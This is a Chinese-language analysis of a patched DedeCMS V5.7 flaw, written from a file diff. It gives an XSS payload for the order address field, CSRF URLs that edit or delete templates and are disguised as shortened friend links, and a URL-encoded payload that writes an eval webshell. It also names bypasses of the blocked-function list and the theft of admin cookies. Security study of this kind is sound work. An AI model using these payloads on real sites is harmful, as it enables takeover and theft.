0x00 前言
从 http://www.dedecms.com/pl/ 可以看到dedecms以往发布的补丁,本着学习的态度,找了一个最近版本的漏洞进行分析,可以看到“更新日期:20170330 紧急程度:危险!
”,就是它了。查看详细发现其包含了几个csrf和一个xss漏洞,由于时间关系,只看了其中dede/tpl.php和plus/carbuyaction.php这两个文件产生的问题。
0x01 实验准备
百度了下,找到了修补前的版本,即dedecms V5.7.68 ,考虑到只需对改动处进行分析即可快速定位,于是下载了个Beyond Compare以比对文件不同之处。
0x02 实验
XSS:
通过比较发现,在plus/carbuyaction.php中,补丁文件在116行上下对$address $des $postname $email 四个变量使用了一个RemoveXSS函数,从函数名可看出显然其是一个过滤xss的函数。
通过全局搜索发现在 /include/helpers/filter.helper.php 65行处有定义,通过注释部分和相关代码,确定的确是一个过滤xss的函数,用以修复被xss污染的数据。
回到漏洞文件,以$address为例,我们可以看到,
1 | $address = cn_substrR(trim($address),200); |
总之,输入数据没有考虑过滤就带入了查询,而又由于相关页面在读取订单输出到页面时未经过滤,造成了xss。
CSRF:
问题出在/dede/tpl.php,并没有对操作验证token,以及GET POST方法不分,导致以GET方式访问可直接对模板文件进行控制,补丁文件对照:
补丁文件在911行和251行附近增加了相关的token验证。
因此,可以删除任意templets文件夹下的文件,也可以在该文件夹及其子文件夹下创建任意模板文件(被限定htm格式)
由于tpl.php的22-26行限制了目录传入”.”,所以跨到上级目录是无效的,如下
1 | if(preg_match("#\.#", $acdir)) |
0x03 利用
XSS:
基本条件:要求有商品在出售,要求有账号能登陆
测试:登陆账号,打开商品页,例如http://localhost/dedecms/plus/view.php?aid=1,然后加入购物车,下单,货到付款。地址填 杭州<script>alert(1)</script>
,当管理员点开商品交易的详情页时触发
效果:
CSRF:
example1:
http://localhost/dedecms/dede/tpl.php?action=saveedit&acdir=default&filename=aaaaa.htm&content=&B1=++%B1%A3+%B4%E6++
先去把以上网址缩短了,有http://dwz.cn/ssaassaZ,再去友情链接图片处添加该链接,如http://localhost/dedecms/plus/flink_add.php,当管理员审核友情链接时触发
效果:
example2:
http://localhost/dedecms/dede/tpl.php?action=del&acdir=system&filename=robots.txt
把以上网址缩短为http://dwz.cn/ssaassaH ,在友情链接处添加,管理审核时会自动删除system目录下的robots.txt文件
0x04 拓展
好的吧,既然如此,有没有什么能把这个CSRF进一步利用的呢?
解析漏洞。。。
这个还是可以实现的,在开启fast-cgi的容器的某种配置下或者iis6.0或nginx某些版本情况下,可以利用解析漏洞。
跨目录创建文件挂黑页?删除文件以重装系统?
CSRF只能创建/修改htm文件,而且由于在tpl.php的22-26行限制了跨入上级目录,而在默认模板52-60行(管理模板的模板,/dede/templets/templets_default.htm)处有
1 |
|
可以看到,保存路径是被拼接而成的,所以用完整路径也不能跨目录,而%00传入后在某处被转义了,因此无法用于可能存在的路径截断问题。
ADS文件流?
由于拓展名的检测机制,只能创建一个主流为空的php文件,我们要写入的内容只能被写入到一个xxx.htm的供选流中(即提交文件名xxx.php:xxx.htm),测试后确定当前环境下不能直接利用(不排除其他环境下可使用,比如IIS5.1及以下版本,如果可能的话:))。(PS:FAT格式分区暂未测试,不过应该不会有惊喜:) )
利用模板拿shell
1.如果后台没有禁用php标签(仿佛在做梦?)
dedecms默认模板引擎禁用php函数如下:phpinfo,eval,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents
于是,发现完全可以绕过,比如assert,比如某些php版本下的preg_replace /e,比如fopen(),fwrite(),fclose()……
在已有模板上加入
1 | {dede:php} |
当调用模板时,代码就会被执行了。(具体没有测试,可以参考文末链接,虽然它也不完整:))
2.如果目录可写的话(这个限制不大,其实最主要的还是CSRF的限制,就是首先得知道后台目录)
尽管没有为模板默认开启php标签,但是我们发现,部分模板里也直接写入了php代码。因此,写shell的机会来了。
造成上面部分的原因是有些php文件使用了比如下面这样的代码require_once(DEDETEMPLATE.'/plus/heightsearch.htm');
总体的思路是这样的:页面程序加载了htm模板,于是我们可以通过修改该模板代码来实现代码执行。
经全局搜索发现,被包含执行的文件有大概这么多
筛选出其中的/templets 文件夹下的模板文件,再筛选其中能进入包含语句的php文件。
从隐蔽性考虑,我们要找一个代码量比较小的来插入code(GET长度限制),或者写段代码,从服务器上下载并展现并保存自身,顺便写入一个shell,这个可以尽情发挥,不考虑隐蔽性的话直接改成shell也行。
鉴于我在templets目录下没找到符合上述条件的1kb以内的模板,我决定选择后者,鉴于演示目的(懒),我决定直接改成shell。
如:\templets\plus\erraddsave.htm
example:http://localhost/dedecms/dede/tpl.php?action=saveedit&acdir=plus&filename=erraddsave.htm&content=%3C%3Fphp+%24fp%3Dfopen%28%27..%2Fshell.php%27%2C%27w%27%29%3Bfwrite%28%24fp%2C%27%3C%3Fphp+%40eval%28%24_POST%5Ba%5D%29%3F%3E%27%29%3Bfclose%28%24fp%29%3B+%3F%3E&B1=++%B1%A3+%B4%E6++
网址缩短:http://dwz.cn/ssss22212322
访问/plus/erraddsave.php 然后看到shell已经躺在站点根目录了(我这里的dedecms目录其实就是dedecms的根目录了)
其实dede的csrf改模板还可以做挺多事的,比如加个sql标签执行sql,然后用dnslog记录,比如加个xss代码,因为dedecms的cookie没有httponly保护,而且前台后台cookie通用,没有为后台管理页面的cookie加path,所以前台就可以打到admin的cookie,只不过还要找后台路径。
另外,其实还可以通过创建标签的方式将csrf转为getshell,不过曾经有人提过了。
参考链接: